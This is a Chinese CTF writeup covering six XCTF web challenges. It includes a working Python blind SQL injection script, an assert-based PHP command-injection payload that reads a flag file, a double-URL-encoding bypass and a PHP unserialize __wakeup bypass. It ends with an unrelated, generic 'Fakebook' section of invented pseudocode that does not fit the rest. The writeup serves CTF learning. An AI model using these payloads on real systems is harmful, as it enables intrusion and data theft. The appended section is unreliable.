XCTF攻防世界进阶区writeup(1-5)

本文深入解析六项CTF挑战,涵盖SQL注入、PHP漏洞利用、JS逆向、PHP二次编码绕过等技术,通过实战案例展示渗透测试技巧。

1. isc-06
进入题目后看到url后存在参数id,尝试各种注入方式后均无果,使用bp对id参数进行爆破后得到flag。
2.NewsCenter
对search参数进行bool类型的盲注

import requests
s=requests.session()
url="http://111.198.29.45:38153/index.php"
key=''
for i in range(1,40):
    print("正在尝试",i)
    for j in range(37,127):
        #code="-1' or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),"+str(i)+",1))="+str(j)+"#"
        #code="-1' or ascii(substr((select column_name from information_schema.columns where table_name='secret_table'limit 1,1),"+str(i)+",1))="+str(j)+"#"
        code="-1' or ascii(substr((select fl4g from secret_table limit 0,1),"+str(i)+",1))="+str(j)+"#"
        payload={"search":code}
        c=s.post(url,data=payload)
        if 'Hello' in c.text:
            key=key+chr(j)
            print(key)
            break

3.mfw
总感觉在哪里做过…
利用githack获得网站源码,再结合index.php当中的漏洞语句assert("file_exists('$file')") or die("That file doesn't exist!");构造')提前对file_exists函数闭合后实现任意命令执行
payload:?page=') or system("cat templates/flag.php");%23得到flag
在这里插入图片描述
4.NaNNaNNaNNaN-Batman
在这里插入图片描述下载附件后得到了一段js文件,修改后缀为html后放入浏览器中执行
在这里插入图片描述
依旧是一段乱码,观察其中的结构发现脚本先定义了一个名为_的变量,其中是定义的一个函数但具体内容由于乱码的问题还是不由得知,最后使用eval方式进行调用,生成了一个输入框。乱码的问题如何解决呢,查阅了网上的相关writeup得知出现乱码问题的关键就在于语句中的eval()函数并不会执行函数而只会执行标签中的内容,如果我们想要看到function函数中的内容,我们就要将eval修改为alert,让整个_中的内容不被执行而仅返回代码。
在这里插入图片描述
得到获得flag的关键语句

e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null

也就是说我们变量e的长度需要是16,开头需要匹配到be0f23(^),结尾需要匹配到e98aa($),但是我们需要匹配到的四个长度为6的字符串,和长度为16不匹配。
此时我们可以发现四个分组的开头和结尾存在有重合的部分,因此可以构造e=be0f233ac7be98aa,刚好符合上述的五个条件。
提交后得到flag
5.PHP2
在这里插入图片描述
先扫描一下后台,得到index.phps
在这里插入图片描述
利用url二次编码进行绕过得到flag
payload:http://111.198.29.45:49512/index.php?id=a%25%36%34min
6.unserialize3
在这里插入图片描述
魔术方法wake_up会在类反序列化的时候调用,因此会直接退出进程,当序列化字符串表示对象属性个数的值大于真实个数的属性就会跳过__wakeup的执行,因此采用修改整个属性个数值的方法进行绕过。
先构造一个正常的xctf类的对象:O:4:"xctf":1:{s:4:"flag";s:3:"111";},再修改属性的个数:O:4:"xctf":2:{s:4:"flag";s:3:"111";},最后以get方式传入的到flag。

### XCTF WEB进阶 Fakebook 解题报告 #### 源码分析 Fakebook 类似于社交网络平台,在此环境中存在多个功能模块,包括但不限于用户注册、登录以及个人信息管理等功能。通过查看源代码发现,该应用可能存在多种安全漏洞。 对于假想的 `fakebook` 平台而言,其核心逻辑通常围绕着用户的会话管理和数据交互展开。假设存在如下简化版 PHP 伪代码表示部分关键业务流程: ```php <?php class User { public $username; public $password; function login($input_username, $input_password){ // 存在一个潜在的安全隐患:未对输入做严格验证 if ($this->username === $input_username && md5($input_password) === $this->password){ $_SESSION['logged_in'] = true; return "Login successful"; } return "Invalid credentials"; } } ?> ``` 上述代码片段展示了用户认证过程中可能存在的安全隐患——使用弱哈希算法 MD5 对密码进行了处理[^1]。 #### 安全问题剖析 基于以上描述可以推测出几个主要攻击面: - **弱哈希函数**:MD5 已经被证明不再适合用于保护敏感信息,因为它容易受到碰撞攻击的影响。 - **缺乏输入过滤机制**:未能有效防止恶意字符进入系统内部,这可能导致 SQL 注入或其他类型的注入攻击发生。 - **不恰当的错误消息返回**:当用户名或密码错误时给出的具体提示可能会帮助攻击者缩小猜测范围。 #### 利用技巧 针对这些弱点,参赛选手可以从以下几个方面入手尝试突破并解决问题: - 尝试暴力破解或者彩虹表查找已知 MD5 值对应的原始字符串; - 测试是否存在其他形式的数据注入风险点,比如 URL 参数、POST 请求体内的字段等位置; - 探索是否有任何地方暴露出过多调试信息给外部访问者利用; 成功完成挑战后一般可以获得 flag 或者进一步的操作权限作为奖励。 #### 复现过程 为了模拟真实的渗透测试场景,建议按照以下方式构建实验环境来进行练习: 1. 构建一个类似的 Web 应用程序框架,确保其中包含了所有必要的组件和服务依赖关系; 2. 实施相应的防护措施来抵御常见的Web 攻击手段,如 XSS 和 CSRF 等; 3. 使用工具辅助自动化执行某些特定任务,例如 Hydra 可以用来实施字典攻击尝试登陆接口; 4. 记录每一步操作细节以便后续总结经验教训,并分享给社成员共同学习进步。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值